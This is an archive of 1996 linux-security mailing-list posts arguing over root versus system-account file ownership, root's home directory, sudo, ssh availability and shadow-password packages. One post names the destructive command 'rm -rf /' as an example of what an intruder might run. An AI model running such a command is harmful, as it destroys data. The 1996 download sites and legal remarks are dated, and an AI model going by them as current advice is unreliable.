12:31:50 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id MAA14849; Thu, 6 Jun 1996 12:31:50 -0400 X-Mailer: exmh version 1.6.7 96/05/03+cl To: [email protected] (Jeffrey J. Radice) cc: [email protected], [email protected] Subject: Re: [linux-security] standard users,groups,perms? In-reply-to: Your message of "Tue, 04 Jun 1996 14:39:23 CDT." <[email protected]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 06 Jun 1996 14:05:53 +0100 From: Richard Black Message-Id: Sender: [email protected] Precedence: list At this site we integrate a large number of linux boxes with a large number of other machines from very many other vendors. Our experience is that some of the user / group assumptions on linux are irritating, probably derived from the fact that many of the linux community appear to manage their machines locally where the user is the administrator and the machine is isolated. Witnes (for example) the very long time for which the password entries in /etc/passwd were not encrypted correctly for alpha_linux (a 64bit problem) and it wasnt noticed!! One of the irritating assumptions is that group "root" exists. There are too many packages whose "make install" contains "chown root.root ....". We dont have a root group, our /etc/group file is common across all our machines. Another is that roots home directory is not the root of the filesystem. This is the very first thing we have to fix on any linux installation - its complete brain damage. If you have automatic systems installing and updating remotely using rsh etc on many different systems some of which have different partitioning information and different partitions served r/o from different places etc, you must be in a position to be able to use rsh and rdist with root-relative paths. -- ----- Richard Black (usual disclaimers) University of Cambridge Computer Laboratory Cambridge United Kingdom From [email protected] Thu Jun 6 12:32:16 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id MAA14869; Thu, 6 Jun 1996 12:32:16 -0400 From: Maarten Ballintijn Message-Id: <[email protected]> Subject: Re: [linux-security] standard users,groups,perms? To: [email protected] (Joseph S. D. Yao) Date: Thu, 6 Jun 1996 14:02:33 +0200 (MET DST) Cc: [email protected] In-Reply-To: <[email protected]> from "Joseph S. D. Yao" at Jun 5, 96 03:31:03 pm Content-Type: text Sender: [email protected] Precedence: list Hi, "Joseph S. D. Yao wrote:" > > I'm not sure that there is a need for so many system users or groups > > (eg. why would I have certain files/directories owned by a specific > > non-root user and not root?) Could somebody critique this? > > I always insist that absolutely nothing at all whatsoever on the file > system be owned by root. Nothing. At all. Unless there is no other > way to do it (whatever the "it" might be). There should be a small set > of accounts whose passwords are protected equally as well as root's, > that are used for maintaining the various parts of the system. These > would be, e.g., bin, sys, adm, daemon, kmem, mail, uucp, lp, games, > field, etc. Directories and files - ESPECIALLY setuid programs (and > more of those should be setgid) - should be owned by one of these, and > NOT by root. This would reduce immensely the number of times that it > would be "necessary" to be root to perform some task or other; and thus > the number of windows of opportunity for certain types of attack - and > for simple mistakes. >From a security point of view I do not think this is a wise guideline. By introducing more accounts the number of weak links is increased, there is less support from the kernel to protect these accounts, an people are more careless ``because it is not the root account'' A small example, if /, /bin, /etc, /lib are not owned by root, then the uid owning these dirs (and there are many more) is equivalent with the root account. The cops package was based on this chaining principle already many years ago. > [ANECDOTE WITH A RELATED POINT, I THINK] > > Recently, at a site whose administrator is in our local SAGE chapter, > someone's helper edited the /etc/password file and accidentally altered > the super-user password. The /etc/password file was owned by root. It > couldn't be fixed without resorting to booting a stand-alone system in > a memory disk from the installation media. That took a while - and an > appeal to the mailing list - to come up with. Needless. What is the point ? do not let someone's helpers cousin's neighbors edit your password file :-) Regards, Maarten Ballintijn. linux-security/linux-security.960610100664 1767 1767 120533 6157067747 16707 0ustar majdommajdomFrom [email protected] Mon Jun 10 13:14:59 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id NAA12516; Mon, 10 Jun 1996 13:14:59 -0400 From: "G.J.W. Hagenaars" Message-Id: <[email protected]> Subject: Re: [linux-security] standard users,groups,perms? To: [email protected] Date: Thu, 6 Jun 1996 13:19:59 -0400 (EDT) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "Rogier Wolff" at Jun 6, 96 09:55:09 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Apparently Rogier Wolff wrote: % % > There should be a small set % > of accounts whose passwords are protected equally as well as root's, % > that are used for maintaining the various parts of the system. % > This would reduce immensely the number of times that it % > would be "necessary" to be root to perform some task or other; and thus % > the number of windows of opportunity for certain types of attack - and % > for simple mistakes. % % And in practise, the "root" account is better protected ... than all those other accounts which are a LOT easier to crack (remember the autoreply bug?) % So I agree with you that for a set of unexperienced administrators, % it would be nice to have each of them only capable of creating havock % with only part of the system. So you install and maintain sudo. That way you give specific root privileges to certain programs, to be invoked by certain users only. As an added benefit, it gives you logging too. Oh, simply getting a shell in someone else's name doesn't work with sudo; you still need the user's password to do something usefull. Cheers, G.J.W. Hagenaars, M.Sc. Math ----> Remembering Mike Carty 1968-1994 [email protected] -------------------> Software Installer CANARIE Inc. [email protected] ---------------------> UNIX System Administrator NUVO [email protected] -------> I'm Dutch, what's your excuse? From [email protected] Mon Jun 10 13:15:15 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id NAA12533; Mon, 10 Jun 1996 13:15:15 -0400 Date: Thu, 6 Jun 1996 15:45:06 -0400 From: [email protected] (Przemek Klosowski) Message-Id: <[email protected]> To: [email protected], [email protected] In-reply-to: (message from Richard Black on Thu, 06 Jun 1996 14:05:53 +0100) Subject: Re: [linux-security] standard users,groups,perms? Sender: [email protected] Precedence: list Richard wrote: At this site we integrate a large number of linux boxes with a large number of other machines from very many other vendors. Our experience is that some of the user / group assumptions on linux are irritating, probably derived from the fact that many of the linux community appear to manage their machines locally where the user is the administrator I think that is unfair to people who designed the layout (FSSTND folk and distribution authors) gave a significant thought to it, and tried to improve the traditional setup. I actually think that the Linux setup makes more sense in many cases, and the traditional setup is simply more familiar. One of the irritating assumptions is that group "root" exists. There are too many packages whose "make install" contains "chown root.root ....". We dont have a root group, our /etc/group file is common across all our machines. Well, it is only a logical consequence of the 1GID/1UID setup, which, again, makes sense to me. Why couldn't you simply add group root to your /etc/group? it won't harm the machines on which it is not used... Another is that roots home directory is not the root of the filesystem. This is the very first thing we have to fix on any linux installation - its complete brain damage. I must say that I feel safer with root's home directory being /root; the only reason why it should not be /home/root is that it must be on the root filesystem. przemek klosowski ([email protected]) Reactor Division (bldg. 235), E111 National Institute of Standards and Technology Gaithersburg, MD 20899, USA (301) 975 6249 From [email protected] Mon Jun 10 13:15:39 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id NAA12555; Mon, 10 Jun 1996 13:15:39 -0400 Date: Thu, 6 Jun 1996 17:47:28 -0400 (EDT) From: shaggenbunsenburner To: Maarten Ballintijn cc: "Joseph S. D. Yao" , [email protected] Subject: Re: [linux-security] standard users,groups,perms? In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Thu, 6 Jun 1996, Maarten Ballintijn wrote: > > I always insist that absolutely nothing at all whatsoever on the file > > system be owned by root. Nothing. At all. Unless there is no other > > way to do it (whatever the "it" might be). There should be a small set > > of accounts whose passwords are protected equally as well as root's, > > that are used for maintaining the various parts of the system. These > > would be, e.g., bin, sys, adm, daemon, kmem, mail, uucp, lp, games, This goes against almost every security policy I've ever seen, which all make a big deal of "single point of failure". Single point of failure means that, possibly, one thing could bring down the whole system, but it's a hell of lot easier to guard against one big thing than a bunch of little ones. It's like the quote in "Firewalls & Internet Security" - The fool says "Don't put all your eggs in one basket," but the wise man says "Put all your eggs in one basket and WATCH THAT BASKET!" In any case, I've talked to a lot of people who feel that a total system crash is actually EASIER to recover from than a partial security breach. If someone gets root and does an "rm -rf /", well, you're down for a couple of hours while you restore from the backup tape (you DID make a backup, didn't you?) and that's that. OTOH, if a couple of system binaries are replaced with trojan horses, you've got to go through the entire system and make sure nothing else has been compromised and that there are no new back doors. > > field, etc. Directories and files - ESPECIALLY setuid programs (and > > more of those should be setgid) - should be owned by one of these, and > > NOT by root. This would reduce immensely the number of times that it > > would be "necessary" to be root to perform some task or other; and thus > > the number of windows of opportunity for certain types of attack - and > > for simple mistakes. Not necessarily - because of UNIX's security model, you still need superuser privilege to do certain things on the system. It doesn't matter whether you call yourself "root" or not, you still need it. Granted, there are a LOT of things that are done as root that really don't need to be (almost every MTA quickly comes to mind). But, in the example of mail I just mentioned, if someone gets SGID mail access through a bug and hoses the mail spool, it's not any better than if he got root and did that. Well, okay, maybe a LITTLE better, but the configuration headaches involved would make it about the same. > A small example, if /, /bin, /etc, /lib are not owned by root, then the > uid owning these dirs (and there are many more) is equivalent with > the root account. The cops package was based on this chaining principle > already many years ago. Exactly. It doesn't matter "who" owns things, they're still vulnerable to attack. > > Recently, at a site whose administrator is in our local SAGE chapter, > > someone's helper edited the /etc/password file and accidentally altered > > the super-user password. The /etc/password file was owned by root. It > > couldn't be fixed without resorting to booting a stand-alone system in > > a memory disk from the installation media. That took a while - and an > > appeal to the mailing list - to come up with. Needless. > > What is the point ? do not let someone's helpers cousin's neighbors edit > your password file :-) hahaha :) My question is, how would spreading the superuser privilege have avoided this disaster? shag Judd Bourgeois | When we are planning for posterity, [email protected] | we ought to remember that virtue is Finger for PGP key | not hereditary. Thomas Paine From [email protected] Mon Jun 10 13:16:22 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id NAA12571; Mon, 10 Jun 1996 13:16:22 -0400 Date: Thu, 6 Jun 1996 17:57:06 -0400 (EDT) From: shaggenbunsenburner To: Richard Black cc: "Jeffrey J. Radice" , [email protected], [email protected] Subject: Re: [linux-security] standard users,groups,perms? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Thu, 6 Jun 1996, Richard Black wrote: > One of the irritating assumptions is that group "root" exists. There are too > many packages whose "make install" contains "chown root.root ....". We dont > have a root group, our /etc/group file is common across all our machines. I assume you have a group with GID 0? Then why not add the "root" group as another GID 0 group at the end of the file so that the "chown" works? It won't break anything already in place, but it will let that chown work. > Another is that roots home directory is not the root of the filesystem. This > is the very first thing we have to fix on any linux installation - its > complete brain damage. If you have automatic systems installing and updating > remotely using rsh etc on many different systems some of which have different > partitioning information and different partitions served r/o from different > places etc, you must be in a position to be able to use rsh and rdist with > root-relative paths. Although this is my personal opinion, I much prefer to have /root or /home/root or something else on the / partition. Since root tends to store at least some files in her account, it seems to make sense to have those files in a special directory, and not cluttering up the / directory. I also would rather not have my users seeing any of my files, whether they can read them or not. "Traffic analysis" works too well too often. Finally - This mail doesn't seem particularly concerned with Linux security issues, more like configuration issues. It sounds as if you are expecting Linux to, out-of-the-box, conform to other OS's, and that it should, right or wrong, do the same thing as those OS's. The latter idea is at best foolhardy, and the former one doesn't really apply. Linux is perhaps the most configurable operating system I have EVER seen. If you don't like where something is, you can move it just about anywhere you want. The attitude sounds like one of "Linux hasn't been around long enough to know what's best; therefore it should conform." You can make it do so yourself if you want, but don't expect the builders of the system to do it for you. shag Judd Bourgeois | When we are planning for posterity, [email protected] | we ought to remember that virtue is Finger for PGP key | not hereditary. Thomas Paine From [email protected] Mon Jun 10 13:18:22 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id NAA12592; Mon, 10 Jun 1996 13:18:22 -0400 >Received: (from ts@localhost) by papaja.wroc.apk.net (8.7.5/8.7.3/ts-p.960325) id AAA00321 for [email protected]; Fri, 7 Jun 1996 00:33:13 +0200 From: Tomasz Surmacz Message-Id: <[email protected]> Subject: Re: [linux-security] standard users,groups,perms? To: [email protected] Date: Fri, 7 Jun 1996 00:33:12 +0200 (MET DST) In-Reply-To: from "Richard Black" at Jun 6, 96 02:05:53 pm Organization: Just me at home X-Mailer: ELM [version 2.4 PL24 ME7] Content-Type: text Sender: [email protected] Precedence: list [email protected] (Richard Black) wrote: > > Our experience is that some of the user / group assumptions on linux are > irritating, probably derived from the fact that many of the linux community ... > Another is that roots home directory is not the root of the filesystem. This > is the very first thing we have to fix on any linux installation - its > complete brain damage. If you have automatic systems installing and updating Why? Does root's home directory really need to be / ? It's really annoying to have all those /Mail, /.cshrc, /.profile, /.exrc, /.history (etc.) files and directories, don't you think so? If root's home is something else than / you may also do 'chmod 700 ~root' and stop users from sniffing around root's working environment. It really is much safer to arrange things that way [1]. I personally use /root as root's home not only on Linux, but also on all other unixes I am in charge of, like SunOS, Solaris or IRIX. With no side-effects at all (the only thing you should care in such a setup is that ~root should really be on the root partition, ie. not /home/root if /home is a separate one - otherwise, when problems arise, you may have twice as much of them.) > remotely using rsh etc on many different systems some of which have different > partitioning information and different partitions served r/o from different > places etc, you must be in a position to be able to use rsh and rdist with > root-relative paths. Well, whatever the partitioning system is, if you just put '/' in front of the path or file name, it will bring you whatever you really want to. Using relative paths when doing something remotly is never a good idea. Tomasz [1] BTW. I once had to clean the mess after the wanna-be system administrator, who after discovering that root's home was /root (on a solaris box) first moved all the files from there to /, then changed ~root to /, then 'chmod 700 ~root'. Finding it out over a phone was not a trivial task (yes, you guessed it, nobody except root could log in, and root could not log in over the net of course...). -- _________ (_ _' __) Tomasz R. Surmacz *---* Work:(071)202636, [email protected] | (__ \ http://www.ict.pwr.wroc.pl/~tsurmacz/ *----* Home: [email protected] |__(____/ For PGP key finger [email protected] *---* irc: TomekS From [email protected] Mon Jun 10 13:19:10 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id NAA12608; Mon, 10 Jun 1996 13:19:10 -0400 X-Authentication-Warning: evol.netline.net: Lucas owned process doing -bs Date: Thu, 6 Jun 1996 19:45:01 -0400 (EDT) From: Synthesizer Punk X-Sender: [email protected] To: Alan Cox cc: Jordy , [email protected] Subject: Re: [linux-security] SSL In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Thu, 6 Jun 1996, Alan Cox wrote: > ssh is a slightly different tool but has these features. US citizens can > get it from finland but do need to read the documentation to disable certain > items before their Government will allow them to use it (patent hooha as usual) > > Alan ssh is a very usefull tool. I am very impressed with it's simplicity and functionality. It's a must for anyone who fears being sniffed or fears Big Brother (government) all together. I installed it a while ago and have been playing with it for a while. I seriously suggest you get it at any of these following ftp sites. Ssh is currently available for anonymous ftp at the following locations. * Australia: coombs.anu.edu.au:/pub/security * Austria: ftp.giga.or.at:/pub/security/ssh * Denmark: sunsite.auc.dk:/pub/security/ssh * Finland: ftp.funet.fi:/pub/unix/security/login/ssh * Finland: ftp.cs.hut.fi/pub/ssh (master site) * Germany: ftp.cert.dfn.de:/pub/tools/net/ssh * Hungary: ftp.kfki.hu:/pub/packages/security/ssh * Ireland: odyssey.ucc.ie:/pub/ssh * Israel: ftp.technion.ac.il:/security/ssh * Norway: ftp.unit.no:/pub/unix/security * Portugal: ftp.dei.uc.pt:/pub/security/tools/ssh * Poland: ftp.agh.edu.pl:/pub/security/ssh * Russia: ftp.kiae.su:/unix/crypto * Singapore: infinity.nus.sg:/pub/ssh * Slovenia: ftp.arnes.si:/security/ssh * South Africa: ftp.is.co.za:/security/network/ssh * United Kingdom: ftp.exweb.com:/pub/security/ssh * USA: ftp.gw.com:/pub/unix/ssh * USA: ftp.net.ohio-state.edu:/pub/security/ssh * USA: ftp.neosoft.com:/systems/unix/security/ssh Beta versions and snapshots are available in ftp.cs.hut.fi:/pub/ssh/snapshots. BTW, Alan, where can I get more info on IPv6? (ng :p) I have a few ideas and some demographic information I would love to share with the developers. Regards, Synthesizer Punk synthpunk!Lucas@*.netline.net / irc.wasteland.org#linux . - -- -- -------__--__------------------__---.-- - - - -- ----- --- ----. : ___ __ _____ / /_/ / ___ __ _____ / /__ : mailto:[email protected] : |(_- To: Synthesizer Punk cc: Alan Cox , [email protected] Subject: Re: [linux-security] SSL In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list > > BTW, Alan, where can I get more info on IPv6? (ng :p) I have a > few ideas and some demographic information I would love to share with the > developers. i'm on the IPv6 mailing list (let me go grab the mailing list addr real quick, don't know why i'm writing this, not like you have to wait :p) To join in the work on Linux IPv6 send mail to: [email protected] and in the body of the message include: subscribe netdev there, that'll keep you up to date on it. ,''~``. ,''``~. ( o o ) ,( o o ), /--.oooO--(_)--Oooo.--------------------.oooO--(_)--Oooo.---\ | http://www.thirdwave.net/~jordy/ | | There are people in this world that look at art but can't | | see it. There are also people who listen to music but | | don't hear it. I feel sorry for those who look and | | listen and envious of those who can see and hear. | | .oooO Oooo. | | ( ) Oooo. [email protected] .oooO ( ) | \-----\ (----( )------------------------( )--- ) /------/ \_) ) / \ ( (_/ (_/ \_) From [email protected] Mon Jun 10 14:10:59 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA13028; Mon, 10 Jun 1996 14:10:59 -0400 From: [email protected] (Jeffrey J. Radice) Message-Id: <[email protected]> Subject: Re: [linux-security] standard users,groups,perms? To: [email protected] (shaggenbunsenburner) Date: Thu, 6 Jun 1996 17:09:38 -0500 (CDT) Cc: [email protected], [email protected], [email protected] In-Reply-To: from "shaggenbunsenburner" at Jun 6, 96 05:57:06 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list >On Thu, 6 Jun 1996, Richard Black wrote: > >>One of the irritating assumptions is that group "root" exists. There are too >> many packages whose "make install" contains "chown root.root ....". We dont >> have a root group, our /etc/group file is common across all our machines. > >I assume you have a group with GID 0? Then why not add the "root" group >as another GID 0 group at the end of the file so that the "chown" works? >It won't break anything already in place, but it will let that chown >work. I for one didn't realize that was possible. I agree that software should not presume that GID 0 is root, and Makefiles that include an install option should have the UID and GID configurable at the beginning of the script as a variable; not hardwired in. >Finally - This mail doesn't seem particularly concerned with Linux >security issues, more like configuration issues. Ahh, but there is a grey area in which the two become one. I think it foolhardy to ruminate over configuration without considering security. Which is why I asked the question in the first place. I was not suggesting that there should be a standard for system users, groups and perms -- only asking advice about what a reasonable configuration for them might be. I appreciate all the feedback I've received, though haven't digested it all. I'm still interested in references to books, articles or docs that discuss the issue at greater length. Any pointers? -jjr From [email protected] Mon Jun 10 14:11:38 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA13055; Mon, 10 Jun 1996 14:11:38 -0400 Message-Id: <[email protected]> Date: Fri, 07 Jun 1996 13:16:46 +0200 From: Fabrizio Giudici Organization: University of Genoa X-Mailer: Mozilla 2.01 (X11; I; HP-UX A.09.05 9000/735) Mime-Version: 1.0 To: [email protected] Subject: Re: [linux-security] standard users,groups,perms? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Richard Black wrote: > [snip] > > Another is that roots home directory is not the root of the filesystem. This > is the very first thing we have to fix on any linux installation - its > complete brain damage. If you have automatic systems installing and updating > remotely using rsh etc on many different systems some of which have different > partitioning information and different partitions served r/o from different > places etc, you must be in a position to be able to use rsh and rdist with > root-relative paths. > I disagree on this. Having a root home directory different than the file system root is quite useful in my opinion. This prevents from the proliferation of personalization files (such as .alias, .cshrc, .tcshrc and so on) or sysadm's own maintenance scripts in /. Putting all this stuff into /root make things more tidy. Until some months ago I was administering a network with half a dozen Linux machines plus some Sun and HP, and I had no problems in writing rsh scripts to remotely update configuration files. Simply I tailored some features to the system, selecting with uname. After all, there are *many* relevant differences among various Unices, even not considering Linux - and we can't pretend they are not there. I'd like to know some other people's opinion about this... Apart from above-mentioned topics, is there any major problem in putting root's home into /root? I have to say that at that time I created /root directories even in Sun and HP machines... and they worked fine... ;-) Ciao. -- .---------------------------------------------------------------------------. | Fabrizio Giudici, PhD Student ([email protected]) | Style distinguishes | | WWW-PAGE: http://tomcat.dibe.unige.it/~fritz/ | excellence from | | PHONE: +39 10 3532192 / 3532174 / 3532897 | accomplishment. | | FAX: +39 10 3532175 `---------------------| | Dept. of Biophys. and Elect. Eng. (DIBE), University of Genoa - ITALY | `---------------------------------------------------------------------------' All expressed opinions are personal and not of the organization I work for. From [email protected] Mon Jun 10 14:13:27 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA13112; Mon, 10 Jun 1996 14:13:27 -0400 Message-Id: <[email protected]> From: Stefano Taino Subject: Re: [linux-security] SSL To: [email protected] (Alan Cox) Date: Fri, 7 Jun 1996 14:54:13 +0200 (METDST) Cc: [email protected], [email protected] In-Reply-To: from "Alan Cox" at Jun 6, 96 10:29:22 am X-Organisation: CryptoNet S.r.l. - Sicurezza, Reti, Sistemi - X-Phone-Number: ++39 2 7533205 X-Fax-Number: ++39 2 7533220 X-Pgp-Key-Fingerprint: 5D D9 26 91 AB 24 12 CB 76 22 DE 43 47 2D CF 28 X-Mailer: ELM [version 2.4 PL24 PGP5a] Content-Type: text Sender: [email protected] Precedence: list [Mod: Quoting trimmed. --Jeff.] > ssh is a slightly different tool but has these features. US citizens can > get it from finland but do need to read the documentation to disable certain > items before their Government will allow them to use it (patent hooha as usual) > > Alan Have a look at STEL too. idea.sec.dsi.unimi.it:/cert-it/stel.tar.gz -- Stefano. -- Stefano Taino, Technical Manager CryptoNet Srl. via 8va strada 24 20090 Segrate, MI email: [email protected] phone: +39-2-7533205 fax: +39-2-7533220 From [email protected] Mon Jun 10 14:20:10 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA13226; Mon, 10 Jun 1996 14:20:10 -0400 Date: Fri, 7 Jun 1996 08:57:30 -0400 (EDT) From: Squawk To: Richard Black cc: "Jeffrey J. Radice" , [email protected], [email protected] Subject: Re: [linux-security] standard users,groups,perms? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Thu, 6 Jun 1996, Richard Black wrote: > > At this site we integrate a large number of linux boxes with a large number of > other machines from very many other vendors. > > Our experience is that some of the user / group assumptions on linux are > irritating, probably derived from the fact that many of the linux community > appear to manage their machines locally where the user is the administrator > and the machine is isolated. Witnes (for example) the very long time for which > the password entries in /etc/passwd were not encrypted correctly for > alpha_linux (a 64bit problem) and it wasnt noticed!! > not that many people have alpha_linux up and running. I think its safe to say that the majority of linux users are home users, with PC's. It's pretty difficult to notice problems if you have a limited users group > Another is that roots home directory is not the root of the filesystem. This > is the very first thing we have to fix on any linux installation - its > complete brain damage. If you have automatic systems installing and updating > remotely using rsh etc on many different systems some of which have different > partitioning information and different partitions served r/o from different > places etc, you must be in a position to be able to use rsh and rdist with > root-relative paths. The old addage "you get what you pay for" comes to mind. for a free, stable, powerful operating system i'd spend the 30 seconds rditing /etc/passwd (and all related files) to make roots homedir where I want it.. while the user/group system may seem odd to you, i've noticed big differences in all flavors of unix about the user group differences.. I wouldn't consider this a TRUE security problem (though it may cause you security problems down the road, you have to be really careful), instead i'd consider it an inconvienience.. -Dan From [email protected] Mon Jun 10 14:24:26 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA13274; Mon, 10 Jun 1996 14:24:26 -0400 Resent-Message-Id: <[email protected]> Message-Id: <[email protected]> Content-Length: 1480 Content-Type: text/plain Resent-From: "Rob J. Nauta" From: "Rob J. Nauta" Resent-To: [email protected] Date: Fri, 07 Jun 1996 14:55:58 METDST Resent-Date: Fri, 07 Jun 1996 14:56:25 METDST To: [email protected] (Alan Cox) Subject: Re: [linux-security] standard users,groups,perms? In-Reply-To: ; from "Alan Cox" at Jun 6, 96 10:34 am Sender: [email protected] Precedence: list > > > bin 2 / Own binaries (bin,sbin,etc) directories. > > Not if you have NFS. Also consider the fact root security is much more tightly > guarded than bin. > > Indeed, this discussion started out on the wrong foot from the start. In file and process security, one should strive to give processes the MINIMUM privileges - run as 'nobody' where 'nobody' is a user with a blocked password and /bin/false as shell. File protections should have the MAXIMUM privileges, that is, owned by root. If you make them owned by 'nobody' you reduce security, you don't increase it. This goes for all ordinary files. Obviously suid binaries have to be owned by the uid as which they will run. If you run a subsystem as a user, say 'bin', and config/program files or directories are also owned by bin, someone that exploits a bug in that part, can also modify files. If all files are owned by root, one would have to break root to modify anything, and then you can modify any file in the system anyway. Plus indeed, root is more protected by eg. NFS, which remaps root accesses to 'nobody'. Hence a file owned by root can never be modified over NFS if you export it the right way. [Mod: Under recent versions of Olaf's Linux nfsd, arbitrary uid's/gid's can be remapped the same as root's. --Jeff.] Rob -- ~*-,._.,-*~'`^`'~*-,._.,-*~'`^`'~*-,._.,-*~'`^`'~*-,._.,-*~'`^`'~*-,._.,-*~ Rob J. Nauta [email protected] REDWOOD Business Group B.V. Phone: +31-306931310 Princenhof Park 13 Telefax: +31-306930477 3972 NG DRIEBERGEN The Netherlands From [email protected] Mon Jun 10 14:25:19 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA13311; Mon, 10 Jun 1996 14:25:19 -0400 Message-Id: <[email protected]> Content-Length: 1340 Content-Type: text/plain From: "Rob J. Nauta" Subject: Re: [linux-security] SSL To: [email protected] Date: Fri, 07 Jun 1996 14:49:39 METDST Cc: [email protected], [email protected] In-Reply-To: ; from "Alan Cox" at Jun 6, 96 10:29 am X-Mailer: Elm [revision: 111.1] Sender: [email protected] Precedence: list > > > One thing that seems to bother me is that in the telnet daemon, it won't > > ask for the login name if the client and daemon have authentication. I > > guess this is a "feature", it would be a lot nicer if it used the keys > > and the password with kerberos encryption. I think this would probably > > fix the problem of packet sniffing of the passwords while login. > > ssh is a slightly different tool but has these features. US citizens can > get it from finland but do need to read the documentation to disable certain > items before their Government will allow them to use it (patent hooha > as usual) Just a small reminder: the government enforces ITAR, the export regulations. That's why you cannot export encryption technology outside of the USA. SSH however requires USA citizens to use RSAref, the official RSA library. This has to do with the fact that RSA is a patented algorithm in the USA. Patent violations are usually a matter for civil court and lawsuits, not criminal law. Thus the phrase 'before their Government will allow them to use it' is incorrect - if you get into trouble, you won't get arrested by the government, you'll get sued by the owners of the RSA patents (is that PKP ?). Rob -- ~*-,._.,-*~'`^`'~*-,._.,-*~'`^`'~*-,._.,-*~'`^`'~*-,._.,-*~'`^`'~*-,._.,-*~ Rob J. Nauta [email protected] From [email protected] Mon Jun 10 14:26:24 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA13339; Mon, 10 Jun 1996 14:26:24 -0400 Message-Id: From: [email protected] (Tim Hockin) Subject: [linux-security] ANNOUNCE: Shadow + Red Hat (and more) RPMS and source now available!! To: [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected] Date: Fri, 7 Jun 1996 14:15:53 -0500 (CDT) X-Mailer: ELM [version 2.4 PL24] Content-Type: text Content-Length: 1353 Sender: [email protected] Precedence: list ANNOUNCEMENT: Red Hat Linux + Shadow passwords !!! We are pleased to announce the public availability of a set of sources/patches and RPM/SRPM sets to seamlessly enable shadow passwords on Red Hat Commercial Linux, and other Linux distributions. We have compiled the latest and greatest versions of many applications that require password authentication, and made them completely compatible with shadow passwords. They are also 100 % compatible with standard passwords. These packages are designed to be used on shadow or non-shadow systems. These packages are also fully md5 password capable, allowing transfer of password files from *BSD, and other UNIXes. These files, while definately not ALL applications, are a good number of them. We are always looking for new releases, and new versions. These packages are available at http://www.broadwaynet.com/~shadow or ftp://ftp.broadwaynet.com/pub/shadow Please use them and test them, and notify us of any problems. There is also a RedHat+shadow-HOWTO in the docs/ directory, please read it for more information and instructions. We can be reached at [email protected]. Tim Hockin Chris Yeo Cristian Gafton -- Tim Hockin [email protected] Soon anyone who's not on the World Wide Web will qualify for a government subsidy for the home-pageless --Scott Adams From [email protected] Mon Jun 10 14:27:18 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA13359; Mon, 10 Jun 1996 14:27:18 -0400 Date: Fri, 7 Jun 1996 17:56:18 -0400 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected], [email protected] Subject: Re: [linux-security] standard users,groups,perms? Cc: [email protected], [email protected] Sender: [email protected] Precedence: list > > I always insist that absolutely nothing at all whatsoever on the file > > system be owned by root. ... > And in practise, the "root" account is better protected by such > provisions as securetty (can root login on /dev/modem, /dev/pty0?) > nfs root->nobody remapping, rhosts' special case for "root" > (Not honouring /etc/hosts.equiv) etc etc. It needs to be. It has special privileges. The others do NOT. > So I agree with you that for a set of unexperienced administrators, > it would be nice to have each of them only capable of creating havock > with only part of the system. You miss the point entirely. You have a SMALL number of people (1-2) with ALL of the passwords. Experience doesn't diminish the OOPS! factor. I've been working with computers and the 'Net (in its changing forms) for over 20 years. My fingers occasionally type in things that I didn't tell them to. [;-)] Actually, your suggestion is another way that you can use these separate accounts. The person who has lots of experience with UUCP and is always doing UUCP stuff really only memorizes the uucp password, as well as his own and root's. The kernel guru: sys's. Etc. Thank you for an excellent (if accidental) point. "Unexperienced" people have no business having any of these passwords. > Once you can get all applications(*) to treat uids < SOME_LIMIT the > same as "root" I would start to agree with you. > (*) And it will be hard to verify that we've modified indeed ALL > applications..... No! No! A thousand times, no! The whole point is, these other accounts do NOT have the privileges of a "root"! OBTW, it has nothing to do with the applications; it is the KERNEL that checks whether a given process has "super-user" credentials; usually by examining the UID and seeing whether it is 0 (except in some experimental security kernels). > ** Q: What's the difference between MicroSoft Windows and a virus? ** > ** A: Apart from the fact that virusses install easier, none. ** Quite right. ;-) ;-) 